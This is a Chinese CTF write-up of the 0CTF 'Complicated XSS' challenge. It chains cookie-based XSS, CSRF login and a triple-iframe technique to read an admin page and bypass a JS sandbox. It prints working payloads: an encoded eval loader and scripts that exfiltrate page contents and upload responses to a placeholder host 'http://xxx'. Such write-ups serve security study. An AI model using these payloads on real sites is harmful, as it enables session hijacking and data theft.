0CTF-WEB Complicated XSS 反思记录

时间:2017-03-27 12:44 来源:武松娱乐整理 字体:[ ] 评论:
0CTF-WEB Complicated XSS 反思记录。已知条件 前台提交的XSS代码未经过滤,在 http://government.vip/ 域内触发XSS。 题目告知flag在 http://admin.government.vip:8000/ 。 http://admin.government.vip:8000/login ,已知test/test账号可登录。
\
http://admin.government.vip:8000/ 在未登录状态下跳转到 login ,登录后页面会将Cookie中的 username 字段会输出到HTML 标签之中,可验证存在XSS。
\
http://admin.government.vip:8000/ 页面沙盒禁用以下函数: 初步思路 前台提交XSS代码1,在 government.vip 域内触发XSS,向Cookie的username字段插入XSS代码2,然后跳转到 admin.government.vip 使Cookie中的XSS代码2触发,利用 ;domain=.government.vip;"window.location.href="http://admin.government.vip:8000"; 这里我犯了一个非常二的错误,由于没有对 标签转义,输出到DOM时第一个 提前闭合,导致payload被截断。 正确方法是 <\/script> ,渲染两次时使用 <\\/script> 然而我并没注意到这个问题,在本地测试成功但XSS平台却收一直不到回显时,得出错误结论: admin页面并没有将cookie值输出到DOM中,不存在XSS 。 更复杂的情况 这里不妨假设 admin看到的页面没有XSS ,增加一点难度,也是可解的。 首先我们要知道admin访问 admin.government.vip:8000 页面时看到了什么。根据以下文章中给出的方法,可采用三个iframe轮流加载解决这个问题。 假设admin为登录状态,第一个iframe利用admin身份访问 http://admin.government.vip:8000 页面;第二个iframe加载外部域的页面,该页面通过CSRF使admin以test状态登入系统(覆盖掉原先admin的身份)。 在第二个iframe加载完成后执行 get() 方法,首先添加一条 .government.vip 域的cookie,然后插入第三个iframe。第三个iframe再次访问 http://admin.government.vip:8000 页面时,由于之前的CSRF登录行为,访问者此时的身份为test。 test页面是我们测试过确定可触发XSS的,利用cookie触发XSS,加载外部 payload.js 代码。 payload.js (公网部署) location.href = "http://xxx/?xss="+escape(window.top.frames[0].document.documentElement.innerHTML) 这里js执行时会读取第一个iframe的内容并发送到XSS接受平台。 完整逻辑 第一次以admin身份拿到私密内容 第二次赋予用户test身份 第三次以test身份触发XSS将内容偷出来 这样就解决了 “admin用户访问的页面不会触发XSS” 的问题。 该页面和之前test访问的页面一样含有js沙箱,此外添加了一个上传功能。 由于 无法预设value值不能被CSRF利用,只能绕沙箱。这里看到当前window的一些方法被禁用,利用iframe新建一个window即可绕过。 注意到 payload 变量中的 ; 会截断cookie,可使用编码绕过: eval(String.fromCharCode(115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,115,46,115,114,99,61,34,104,116,116,112,58,47,47,120,120,120,47,117,112,108,111,97,100,46,106,115,34,59,100,111,99,117,109,101,110,116,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59)) {C} 仍然和之前一样,先通过CSRF让其登录test账号,然后设置cookie,再访问页面触发XSS,此时XSS在页面中添加一个iframe,利用iframe的window.eval方法执行js代码。该代码创建script标签,引入外部并执行外部脚本 upload.js 。 upload.js (公网部署) var xhr = new XMLHttpRequest();xhr.open("POST", "upload", false);xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------12264101169922");xhr.withCredentials = true;var body = "-----------------------------12264101169922\r\n" + "Content-Disposition: form-data; name=\"file\"; filename=\"shell\"\r\n" + "Content-Type: text/plain\r\n" + "\r\n" + "shell\r\n" + "-----------------------------12264101169922\r\n" + "Content-Disposition: form-data; name=\"submit\"\r\n" + "\r\n" + "\xcc\xe1\xbd\xbb\xb2\xe9\xd1\xaf\r\n" + "-----------------------------12264101169922--\r\n";var aBody = new Uint8Array(body.length);for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody]));window.location = "http://xxx/?final=" + xhr.response; 其中upload.js负责通过xhr发包,完成文件上传操作,最终通过location将响应结果发送到接收平台。 flag
\
Ref @lynahex @louys
顶一下(0) 踩一下(0)
Top_arrow
武松娱乐注册